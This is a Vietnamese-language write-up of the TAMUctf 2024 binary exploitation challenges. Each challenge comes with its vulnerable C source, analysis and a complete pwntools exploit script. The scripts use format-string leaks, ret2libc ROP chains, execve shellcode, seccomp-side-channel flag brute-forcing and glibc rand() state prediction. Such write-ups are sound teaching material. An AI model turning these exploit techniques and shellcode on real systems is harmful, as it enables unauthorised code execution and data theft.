# (writeup) TAMUctf 2024 ## Admin Panel - easy nên k wu > leak canary, libc ---> ret2libc - source ```c #include <stdio.h> #include <string.h> int upkeep() { // IGNORE THIS setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int admin() { int choice = 0; char report[64]; puts("\nWelcome to the administrator panel!\n"); puts("Here are your options:"); puts("1. Display current status report"); puts("2. Submit error report"); puts("3: Perform cloning (currently disabled)\n"); puts("Enter either 1, 2 or 3: "); scanf("%d", &choice); printf("You picked: %d\n\n", choice); if (choice==1) { puts("Status report: \n"); puts("\tAdministrator panel functioning as expected."); puts("\tSome people have told me that my code is insecure, but"); puts("\tfortunately, the panel has many standard security measures implemented"); puts("\tto make up for that fact.\n"); puts("\tCurrently working on implementing cloning functionality,"); puts("\tthough it may be somewhat difficult (I am not a competent programmer)."); } else if (choice==2) { puts("Enter information on what went wrong:"); scanf("%128s", report); puts("Report submitted!"); } else if (choice==3) { // NOTE: Too dangerous in the wrong hands, very spooky indeed puts("Sorry, this functionality has not been thoroughly tested yet! Try again later."); return 0; clone(); } else { puts("Invalid option!"); } } int main() { upkeep(); char username[16]; char password[24]; char status[24] = "Login Successful!\n"; puts("Secure Login:"); puts("Enter username of length 16:"); scanf("%16s", username); puts("Enter password of length 24:"); scanf("%44s", password); printf("Username entered: %s\n", username); if (strncmp(username, "admin", 5) != 0 || strncmp(password, "secretpass123", 13) != 0) { strcpy(status, "Login failed!\n"); printf(status); printf("\nAccess denied to admin panel.\n"); printf("Exiting...\n"); return 0; } printf(status); admin(); printf("\nExiting...\n"); } ``` - get flag ![image](https://hackmd.io/_uploads/B1Qrod-gA.png) - script ```py #1/usr/bin/python3 from pwn import * context.binary = exe = ELF('./admin-panel_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) context.log_level = "debug" # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="admin-panel") # gdb.attach(io,gdbscript=''' # b*admin+281 # c # ''') # input() io.recvline()*2 io.sendline(b'admin'.ljust(16,b'a')) io.recvline() io.sendline(b'secretpass123'.ljust(0x20,b'a')+b'%17$p|%15$p') io.recvuntil(b'%15$p\n') libc_leak = int(io.recvuntil(b'|',drop=True),16) libc.address = libc_leak - 0x2409b log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) canary = int(io.recvuntil(b'\n'),16) log.info("canary: " + hex(canary)) io.sendlineafter(b'3: \n',b'2') io.recvline()*3 pop_rdi = libc.address + 0x0000000000023a5f payload = b'a'*0x48 payload += p64(canary) payload += b'a'*8 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) payload += p64(libc.sym.system) io.sendline(payload) io.interactive(prompt="") #gigem{l3ak1ng_4ddre55e5_t0_byp4ss_s3cur1t1e5!!} ``` >gigem{l3ak1ng_4ddre55e5_t0_byp4ss_s3cur1t1e5!!} ## Janky - basic file check ![image](https://hackmd.io/_uploads/SkiFfjWgR.png) - source ```c #include <string.h> #include <stdio.h> #include <stdlib.h> #include <inttypes.h> #include <capstone/capstone.h> #include <sys/mman.h> int upkeep() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } int validate(char* ptr, size_t len) { csh handle; cs_insn *insn; int ret = 1; if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) { return 0; } size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn); size_t success_len = 0; if (count > 0) { for (size_t j = 0; j < count; j++) { ret &= insn[j].mnemonic[0] == 'j'; success_len += insn[j].size; } cs_free(insn, count); } else { return 0; } cs_close(&handle); ret &= len == success_len; return ret; } int main() { upkeep(); char code[4096]; size_t n = read(0, code, 0x1000); if (n > 0 && validate(code, n)) { ((void (*)())code)(); } else { puts("That's not allowed! D:<"); } } ``` ### analyse - chương trình cho ta thực thi shellcode khi và chỉ khi bypass hàm **validate()** - ở hàm **validate()** sẽ check xem trong shellcode mình có chữ 'j' hay không ```c ret &= insn[j].mnemonic[0] == 'j'; ``` > shellcode có chữ 'j' chỉ có thể lệnh jump > jmp, jz, jne, ... ### shellcode - ta sẽ viết shellcode lần 1 chỉ có lệnh jump - jump như thế nào thì một khi đang thực thi shellcode, ta có thể jump tuỳ ý, thì ta jump làm sao setup thanh ghi gọi sys_read thôi ```asm jmp run + 3 run: jmp [0x50e68948] , mov rsi, rsp; push rax jmp run2 + 3 run2: jmp [0x50ff3148] , xor rdi, rdi; push rax jmp run3 + 3 run3: jmp [0x050f] , syscall ``` - shellcode lần 2 cứ execve bình thường ### get flag ![image](https://hackmd.io/_uploads/BypUfoZeA.png) - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./janky',checksec=False) context.log_level = "debug" # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="janky") # gdb.attach(io,gdbscript=''' # b*validate+92 # b*validate+280 # b*main+102 # c # ''') # input() ''' 0: 48 89 e6 mov rsi,rsp 3: 50 push rax ----------------------- 0: 48 31 ff xor rdi,rdi 3: 50 push rax ----------------------- 0: 0f 05 syscall ''' shellcode = asm( ''' jmp run + 3 run: jmp [0x50e68948] jmp run2 + 3 run2: jmp [0x50ff3148] jmp run3 + 3 run3: jmp [0x050f] ''', arch = 'amd64') io.send(shellcode) shellcode = asm(''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''',arch='amd64') io.send(b'a' * 0x21 + shellcode) io.interactive(prompt="") #gigem{jump1ng_thr0ugh_h00p5} ``` >gigem{jump1ng_thr0ugh_h00p5} ## Rift - basic file check ![image](https://hackmd.io/_uploads/B1jAhOrlA.png) - source: ```c #include <stdio.h> int upkeep() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } char buf[64]; void vuln() { int always_true = 1; while (always_true) { fgets(buf, sizeof(buf), stdin); printf(buf); } } int main() { upkeep(); vuln(); } ``` - chall về fmtstr - idea: - thoát loop: ow $rbp-0x4 = 0 - chain pop_rdi -> binsh -> system để ret2libc ![image](https://hackmd.io/_uploads/HJrPaOrxA.png) - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./rift_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) context.log_level = "debug" # io = remote("tamuctf.com", 443, ssl=True, sni="rift") io = process(exe.path) # gdb.attach(io,gdbscript=''' # b*vuln+56 # c # ''') # input() io.sendline(b'%11$p||%8$p') libc_leak = int(io.recvuntil(b'||',drop=True),16) libc.address = libc_leak - 0x2409b log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) stack = int(io.recvuntil(b'\n',drop=True),16) log.info("stack leak: " + hex(stack)) def fmt(addr,data): io.sendline(f"%{(addr)&0xffff}c%13$hn") io.sendline(f"%{(data)&0xffff}c%39$hn") io.sendline(f"%{(addr+2)&0xffff}c%13$hn") io.sendline(f"%{(data>>16)&0xffff}c%39$hn") io.sendline(f"%{(addr+4)&0xffff}c%13$hn") io.sendline(f"%{(data>>32)&0xffff}c%39$hn") target = stack - 0x10 binsh = next(libc.search(b'/bin/sh\0')) system = libc.sym.system pop_rdi = libc.address + 0x0000000000023a5f fmt(target+0x8,pop_rdi) fmt(target+0x10,binsh) fmt(target+0x18,system) io.sendline(f"%{(stack-20)&0xffff}c%13$hn") io.sendline(f"%39$hn") io.interactive(prompt="") # ``` >quên lưu flag =)) ## Confinement - basic file check ![image](https://hackmd.io/_uploads/H1fTlqZlR.png) - source ```c #include <stdio.h> #include <unistd.h> #include <seccomp.h> #include <sys/wait.h> #include <sys/mman.h> #include <stdlib.h> void init() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); } char FLAG[64] = "test"; void load_flag() { FILE* f = fopen("flag.txt", "r"); if (!f) { puts("no flag found D:"); return; } fgets(FLAG, 64, f); } int main() { init(); char* rwx = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); load_flag(); read(STDIN_FILENO, rwx, 0x1000); if (fork() > 0) { int ret = 0; wait(&ret); if (ret != 0) { puts("something went wrong D:"); } else { puts("adios"); } } else { scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); ((void (*)())rwx)(); } } ``` ### analyse - chương trình sẽ thực thi shellcode cho mình với điều kiện tiến trình con đang hoạt động (hàm **fork()**) - thấy rằng là seccomp chỉ cho phép mỗi **exit_group** nên nghĩ đến hướng brute force flag > vì có lưu flag trong biến bss - và khả năng cao phải brute từng bit > vì nếu brute byte khá là khoai (từ 0x20 đến 0x7f) ### brute force - ta sẽ tạo 2 vòng lặp, 1 cho từng byte, 1 cho từng bit ![image](https://hackmd.io/_uploads/H1Y375WlC.png) >jump vào shellcode - từng bit: ```py def get_byte(offset): bin_str = 0 for bit_offset in range(8): # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="confinement") brute = asm( f""" pop r12 sub r12, 0x222c6 add r12, 0x47020 mov rsp, r12 xor r11, r11 xor rax, rax mov al, [rsp+{offset}] shr al, {bit_offset} and al, 1 xor rdi, rdi mov dil, al mov rax, 0xe7 syscall """, arch='amd64') io.send(brute) output = io.recvuntil(b'\n') if b'adios\n' not in output: bin_str += 1 << bit_offset return bin_str ``` > do trên stack có địa chỉ exe > nên sẽ pop vào 1 thành ghi nào đó đỡ > r trừ ra base > cộng ra địa chỉ FLAG > rồi dùng phép AND (&) để so sánh bit 1 hoặc 0 > đưa kết quả vào $rdi rồi call hàm exit_group (sys_num = 0xe7) > nếu ret trả về 1 thì thoả mãn > ```c > if (ret != 0) { > puts("something went wrong D:"); > } else { > puts("adios"); > } >``` > đồng thời đưa bit dịch trái theo bit_offset (0 đến 7) - từng byte ```py def get_string(total): text = '' for i in range(total): test = get_byte(i) if chr(test) != '\0': text += chr(test) log.info("######################") log.info("found :" + chr(test)) log.info("######################") else: break return text ``` > lấy kết quả trả về cho vào hàm **chr()** > gặp NULL (kết thúc chuỗi flag) sẽ break ### get flag ![image](https://hackmd.io/_uploads/r1xfm9WxR.png) - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./confinement_patched',checksec=False) # context.log_level = "debug" def get_byte(offset): bin_str = 0 for bit_offset in range(8): # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="confinement") brute = asm( f""" pop r12 sub r12, 0x222c6 add r12, 0x47020 mov rsp, r12 xor r11, r11 xor rax, rax mov al, [rsp+{offset}] shr al, {bit_offset} and al, 1 xor rdi, rdi mov dil, al mov rax, 0xe7 syscall """, arch='amd64') io.send(brute) output = io.recvuntil(b'\n') if b'adios\n' not in output: bin_str += 1 << bit_offset return bin_str def get_string(total): text = '' for i in range(total): test = get_byte(i) if chr(test) != '\0': text += chr(test) log.info("######################") log.info("found :" + chr(test)) log.info("######################") else: break return text flag = 0x47020 last = get_string(30) print(last) #gigem{3xf1l_5ucc3ss!} ``` >gigem{3xf1l_5ucc3ss!} ## Five - basic file check ![image](https://hackmd.io/_uploads/BJP_fcblC.png) - source ```c #include <sys/mman.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> void init() { // ignore setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); } int main() { init(); char* input = mmap(main + 0x10000, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); read(0, input, 5); puts("glhf!"); ((void (*)())(input))(); } ``` ### analyse - bài này shellcode 5 byte nên nghĩ ngay đến call read 1 lần nữa rồi get_shell ![image](https://hackmd.io/_uploads/S1VhH5bgA.png) - để setup đủ register thì cần setup cả 4 thanh ghi >$rax=0 >$rdi=0 >$rsi=addr_shellcode >$rdx=size - như vậy cần đến 6 byte > xor rdi,rdi (2 byte) > push rdx (1 byte) > pop rsi (1 byte) > syscall (2 byte) - thấy là $rdi đang chứa biến môi trường nên đoán là server sẽ không có (chỉ là kinh nghiệm) - nên bỏ phép ``xor rdi, rdi`` đi thì syscall thành công trên server - vậy local k ăn shell được =))) - thế shellcode chỉ cần 4 byte là đủ ### get flag ![image](https://hackmd.io/_uploads/HkjIM9beC.png) - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./five',checksec=False) context.log_level = "debug" # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="five") # gdb.attach(io,gdbscript=''' # b*main+107 # c # ''') # input() shellcode = asm(''' push rdx pop rsi syscall ''',arch='amd64') io.send(shellcode) stage2 = b'\x90'*4 + asm(''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''') # sleep(5) io.sendafter(b'glhf!\n',stage2) io.interactive(prompt="") #gigem{if_you_used_syscall_read_pls_tell_nhwn_how_you_did_it} ``` >gigem{if_you_used_syscall_read_pls_tell_nhwn_how_you_did_it} ## Good Emulation - basic file chec ![Ảnh chụp màn hình 2024-04-08 234558](https://hackmd.io/_uploads/ry6LJjWxC.png) - source ```c #include <stdio.h> #include <stdlib.h> int upkeep() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } void print_maps() { FILE* f = fopen("/proc/self/maps", "r"); char buf[0x1000]; size_t n = fread(buf, 1, sizeof(buf), f); fwrite(buf, 1, n, stdout); fflush(stdout); fclose(f); } void vuln() { char buf[128]; printf("buf is at %p\n", buf); gets(buf); } int main() { upkeep(); puts("Look, the stack isn't RWX!"); print_maps(); vuln(); } ``` ### analyse - vì đây là file kiến trúc ARM nên exploit thông thường hơi khó - có thể coi blog về ARM tui có viết - BUG BOF khá rõ: `gets(buf);` - thường mấy bài này sẽ tận dụng mấy thanh ghi thôi ### ROP chain - trước khi nhập **buf** sẽ ỉn ra `/proc/self/maps` của tiến trình hiện tại (là chương trình này) - ta sẽ setup ROPchain cho 4 thanh ghi >$r7 giống $rax là syscall number = 0x3b >$r0 giống $rdi >$r1 giống $rsi >$r2 giống $rdx >syscall trong arm là `svc` ### get flag ![image](https://hackmd.io/_uploads/r1pagjbgR.png) - debug.dbg ```dbg file good-emulation set architecture arm target remote :1234 b*vuln+44 c ``` - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./good-emulation',checksec=False) context.log_level = "debug" # io = process(['qemu-arm', '-g' ,'1234' ,'./good-emulation']) context.log_level = 'debug' # raw_input('Debug') io = remote("tamuctf.com", 443, ssl=True, sni="good-emulation") pop_r0_pc = 0x00060830 pop_r3_pc = 0x00010160 pop_r1_pc = 0x00060918 pop_r7_pc = 0x0002ea68 syscall = 0x0004e878 io.recvuntil(b'is at ') buf = int(io.recvuntil(b'\n',drop=True),16) payload = b'/bin/sh\0' + b'a'*0x7c payload += p32(pop_r0_pc) + p32(buf) payload += p32(pop_r1_pc) + p32(0) payload += p32(pop_r3_pc) + p32(0) payload += p32(pop_r7_pc) + p32(0xb) payload += p32(syscall) io.sendline(payload) io.interactive(prompt="") #gigem{q3mu_wh4t_th3_fl1p} ``` >gigem{q3mu_wh4t_th3_fl1p} ## Shrink - basic file check ![image](https://hackmd.io/_uploads/Bkx-jc-xA.png) - source ```cpp #include <cstdio> #include <unistd.h> #include <string> void upkeep() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } void win() { char flag[64] = {0}; FILE* f = fopen("flag.txt", "r"); if (!f) { perror("missing flag.txt"); return; } fgets(flag, 64, f); puts(flag); } struct Username { std::string buf = "this_is_a_default_username"; size_t len = 26; void print() { puts(buf.data()); } void change() { puts("Enter your new name: "); int i = read(0, (void*)buf.data(), len); if (i > 0) { buf.resize(i); buf.shrink_to_fit(); } } void add_exclamation() { buf += "!"; len += 1; } }; void vuln() { Username username; int choice = 0; bool going = true; while (going) { puts("Select an option:"); puts("1. Print username"); puts("2. Change username"); puts("3. Make username more exciting"); puts("4. Exit"); scanf("%d", &choice); switch (choice) { case 1: username.print(); break; case 2: username.change(); break; case 3: username.add_exclamation(); break; default: going = false; break; } } } int main() { upkeep(); vuln(); } ``` ### analyse - option1 chỉ là in ra - option2 sẽ dựa vào **len** để read - option3 để tăng **len** rồi thêm byte '!' vào cuối chuỗi - BUG ở option3, tăng lượng vừa đủ để ret2win ### get flag ![image](https://hackmd.io/_uploads/HJWEi5ZgA.png) - script ```py from pwn import * context.binary = exe = ELF('./shrink',checksec=False) context.log_level = "debug" # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="shrink") # gdb.attach(io,gdbscript=''' # b*0x401391 # b*0x401450 # c # ''') # input() for i in range(50): io.sendlineafter(b'4. Exit\n',b'3') io.sendlineafter(b'4. Exit\n',b'2') io.sendafter(b'name: \n',b'aaaa') io.sendlineafter(b'4. Exit\n',b'2') payload = b'a'*0x38 + p64(0x401255) io.sendafter(b'name: \n',payload) io.sendlineafter(b'4. Exit\n',b'4') io.interactive(prompt="") #gigem{https://i.redd.it/sayk4pi4ood81.png} ``` >``gigem{https://i.redd.it/sayk4pi4ood81.png}`` ## Index - basic file check ![image](https://hackmd.io/_uploads/HJTzwcWeC.png) - source ```c #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> void init() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); } typedef char Message[100]; Message MESSAGES[3] = {"Are ya winnin', son?", "Good luck getting the flag!", "You got this!"}; char* get_message(unsigned long i) { Message* ret = &MESSAGES[i]; Message* start = &MESSAGES[0]; Message* end = &MESSAGES[2]; if (ret < start || end < ret) { puts("That's not allowed!"); exit(0); } return ret; } unsigned long get() { unsigned long i = 0; scanf("%lu", &i); return i; } void win() { asm("andq $-16, %rsp"); char buf[64]; FILE* f = fopen("flag.txt", "r"); fgets(buf, sizeof(buf), f); puts(buf); } void vuln() { while (1) { puts("\n1. Edit a message"); puts("2. Read a message"); puts("3. Exit\n"); unsigned long choice = get(); if (choice == 1) { puts("Enter an index to edit (0-2):"); char* ptr = get_message(get()); puts("Enter your new message:"); memset(ptr, 0, 100); read(STDIN_FILENO, ptr, 99); } else if (choice == 2) { puts("Enter an index to read (0-2):"); Message tmp; strcpy(tmp, get_message(get())); puts(tmp); } else { break; } } } int main() { init(); vuln(); } ``` ### analyse - thấy rằng có hàm **win()** nên nghĩ đến ret2win - mà option1 có hàm **read()** đọc size có 99 thôi, **memset()** tận 100 - option2 là in ra ouput và lưu trên stack (biến **tmp**) - lờ mờ đoán được phải làm gì đó đụng đến **strcpy()** tránh NULL byte để copy full chuỗi - thực ra có BUG interger overflow khi chọn index ![image](https://hackmd.io/_uploads/B1xpu5ZxC.png) >**get_message()** - nhận đối số $a1 trả về từ **get()** - nhân 100 rồi check phải nằm trong đoạn này ```c Message MESSAGES[3] = {"Are ya winnin', son?", "Good luck getting the flag!", "You got this!"}; ``` ![image](https://hackmd.io/_uploads/HJW4K5WxA.png) ### interger overflow - BUG ở chỗ nhân với 100 (ai mượn :v) - ta sẽ lấy số cao nhất cho kiểu unsigned long ![image](https://hackmd.io/_uploads/BkatFcWlR.png) >18446744073709551615 - rồi bỏ đi 2 số cuối - tăng thêm 1 là ``184467440737095517`` để khi nhân 100 nó sẽ bị ngu ngu ![image](https://hackmd.io/_uploads/Hy7V9cWgC.png) > đây là khi bị IOF > không nằm trong phạm vi MESSAGE, MESSAGE+100 hay MESSAGE+200 > thế là ta chỉ việc nối chuỗi rồi dùng option2 cho lên stack > rồi option3 exit sẽ return > tăng giảm payload để return chuẩn nha ### get flag ![image](https://hackmd.io/_uploads/ByklcqblA.png) - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./index',checksec=False) context.log_level = "debug" # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="index") # gdb.attach(io,gdbscript=''' # b*0x40136d # b*0x00000000004013b5 # b*0x4013c2 # c # ''') # input() def edit(idx,mess): io.sendlineafter(b'3. Exit\n',b'1') io.sendlineafter(b'(0-2):',str(idx)) io.sendafter(b'message:\n',mess) num = 184467440737095517 payload = b'a'*99 edit(0,payload) edit(num,payload) payload = b'b'*(90-0x30-6) + p64(exe.sym.win+1) edit(1,payload) # edit(2,payload) io.sendlineafter(b'3. Exit\n',b'2') io.sendlineafter(b'(0-2):',str(0)) io.sendlineafter(b'3. Exit\n',b'3') io.interactive(prompt="") #gigem{wh0_put_m4th_1n_my_pwn} ``` >gigem{wh0_put_m4th_1n_my_pwn} ## Super Lucky - basic file check ![image](https://hackmd.io/_uploads/Hk1-AdrxA.png) - source: ```c #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <stdio.h> int lucky_numbers[777]; void init() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); volatile int seed; int fd = open("/dev/urandom", O_RDONLY); read(fd, (char*)&seed, sizeof(seed)); read(fd, (char*)&lucky_numbers, sizeof(lucky_numbers)); srand(seed); seed = 0; close(fd); } int main() { init(); puts("I'll give you a flag if you can guess the next 7 calls to rand(). As a benevolent level creator, I'll give you 21 free lucky numbers! Take your pick 0-777:"); for (int i = 0; i < 21; ++i) { unsigned long pick = 0; scanf("%lu", &pick); printf("Here's lucky number #%d: %d\n", i + 1, lucky_numbers[pick]); } int all_correct = 1; for (int i = 0; i < 7; ++i) { int guess = 0; printf("Enter guess #%d:\n", i + 1); scanf("%d", &guess); all_correct &= guess == rand(); } if (all_correct) { char buf[64]; FILE* f = fopen("flag.txt", "r"); fgets(buf, sizeof(buf), f); puts(buf); } else { puts("That's not correct :("); } } ``` ### analyse - thông qua source ta thấy BUG OOB khá rõ ---> leak primitive (21 times) - ta sẽ leak libc thông qua puts@got - phân tích hoạt động: ```c for (int i = 0; i < 21; ++i) { unsigned long pick = 0; scanf("%lu", &pick); printf("Here's lucky number #%d: %d\n", i + 1, lucky_numbers[pick]); } ``` > nhập là "%lu" nhưng output là "%d" (4 byte) > ---> leak 2 lần để được full 8 byte ```py def read4(addr): idx = (addr - LUCKY_NUMBERS) // 4 io.sendline(str(idx).encode()) io.recvuntil(b': ') return int(io.readline().decode().split(" ")[-1]) & 0xffffffff def read8(addr): return read4(addr) | (read4(addr + 4) << 32) ``` ### rand - ở chall này có lẽ không thể load libc vào để predict rand từ srand được (do seed được gen từ /dev/urandom) - vì ta hoàn toàn có thể leak tuỳ ý nên BUG sẽ nằm trong chính source code của rand ```c struct random_data { int32_t *fptr; /* Front pointer. */ int32_t *rptr; /* Rear pointer. */ int32_t *state; /* Array of state values. */ int rand_type; /* Type of random number generator. */ int rand_deg; /* Degree of random number generator. */ int rand_sep; /* Distance between front and rear. */ int32_t *end_ptr; /* Pointer behind state table. */ }; ``` >https://elixir.bootlin.com/glibc/glibc-2.28/source/stdlib/stdlib.h#L423 ```c static struct random_data unsafe_state = { .fptr = &randtbl[SEP_3 + 1], .rptr = &randtbl[1], .state = &randtbl[1], .rand_type = TYPE_3, .rand_deg = DEG_3, .rand_sep = SEP_3, .end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])] }; ``` >https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random.c#L160 - **randtbl** ```c static int32_t randtbl[DEG_3 + 1] = { TYPE_3, -1726662223, 379960547, 1735697613, 1040273694, 1313901226, 1627687941, -179304937, -2073333483, 1780058412, -1989503057, -615974602, 344556628, 939512070, -1249116260, 1507946756, -812545463, 154635395, 1388815473, -1926676823, 525320961, -1009028674, 968117788, -123449607, 1284210865, 435012392, -2017506339, -911064859, -370259173, 1132637927, 1398500161, -205601318, }; ``` >https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random.c#L146 ```c int __random_r (struct random_data *buf, int32_t *result) { int32_t *state; if (buf == NULL || result == NULL) goto fail; state = buf->state; if (buf->rand_type == TYPE_0) { int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff; state[0] = val; *result = val; } else { int32_t *fptr = buf->fptr; int32_t *rptr = buf->rptr; int32_t *end_ptr = buf->end_ptr; uint32_t val; val = *fptr += (uint32_t) *rptr; /* Chucking least random bit. */ *result = val >> 1; ++fptr; if (fptr >= end_ptr) { fptr = state; ++rptr; } else { ++rptr; if (rptr >= end_ptr) rptr = state; } buf->fptr = fptr; buf->rptr = rptr; } return 0; fail: __set_errno (EINVAL); return -1; } ``` >https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/random_r.c#L352 > >https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random_r.c#L370 - ta sẽ quan tâm 2 giá trị là **fptr** và **rptr** ### DEBUG - ta có công thúc tính như source trên: ```c val = *fptr += (uint32_t) *rptr; /* Chucking least random bit. */ *result = val >> 1; ++fptr; ``` - ta sẽ reseeding nhằm mục đích debug ![randtbl](https://hackmd.io/_uploads/HydNNtSl0.png) > **result** sẽ bằng **val** dịch phải 1 > **val** bằng ***fptr** (0x3e01511e) + ***rptr** (0x991539b1) rồi lấy 4 byte (uint32_t) > ![struct_unsafe_state](https://hackmd.io/_uploads/rJM2HFBxA.png) - vậy ta đã predict thành công output của rand - và để ý luôn `*fptr += (uint32_t) *rptr;` > sau khi **rand()** sẽ cập nhật dữ liệu tại ***fptr** ![update](https://hackmd.io/_uploads/rJgiItHlR.png) - ta chỉ cần 7 giá trị dword (4 byte) cho lần guess, nên sẽ padding lần leak cho đủ 21 lần - vì lí do ~~khó hiểu nào đó~~ mà khi pwninit libc thì file patched không tìm thấy unsafe_state nên sẽ gdb cả file gốc lẫn file patched để tìm offset ![compare_debug_static_dynamic](https://hackmd.io/_uploads/B16Ng6LlC.png) > offset unsafe_state = 0x1ba740 - check khi leak ở **randtbl** : ![check](https://hackmd.io/_uploads/rJQuxaIgA.png) ### get flag ![image](https://hackmd.io/_uploads/SJoBROSg0.png) - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./super-lucky_patched',checksec=False) context.log_level = 'debug' libc = ELF("./libc.so.6",checksec=False) # io = process(exe.path) io = remote("tamuctf.com", 443, ssl=True, sni="super-lucky") LUCKY_NUMBERS = 0x404040 UNSAFE_STATE = 0x1ba740 def read4(addr): idx = (addr - LUCKY_NUMBERS) // 4 io.sendline(str(idx).encode()) io.recvuntil(b': ') return int(io.readline().decode().split(" ")[-1]) & 0xffffffff def read8(addr): return read4(addr) | (read4(addr + 4) << 32) io.readuntil(b"Take your pick 0-777:\n") puts = read8(exe.got.puts) libc.address = puts - libc.sym.puts log.info("libc leak: " + hex(puts)) log.info("libc base: " + hex(libc.address)) # gdb.attach(io,gdbscript=''' # b*main+81 # b*main+217 # c # ''') # input() unsafe_state = libc.address + UNSAFE_STATE log.info("unsafe_state: " + hex(unsafe_state)) randtbl_addr = libc.address + 0x1ba1c0 rptr = read8(unsafe_state + 8) log.info("rptr: " + hex(rptr)) randtbl = [] for i in range(17): randtbl.append(read4(rptr + (i * 4))) log.info("#########################") log.info("randtbl: " + hex(randtbl_addr)) hex_array = [hex(num) for num in randtbl] print(hex_array) log.info("#########################") for i in range(7): io.readline() #randtbl[i+3]=fptr #update: *fptr += (uint32_t) *rptr; randtbl[i + 3] = ((randtbl[i + 3] + randtbl[i]) & 0xffffffff) output = randtbl[i + 3] >> 1 io.sendline(str(output).encode()) io.interactive(prompt="") #gigem{n0_on3_exp3ct5_the_l4gg3d_f1b0n4cc1} ``` >gigem{n0_on3_exp3ct5_the_l4gg3d_f1b0n4cc1}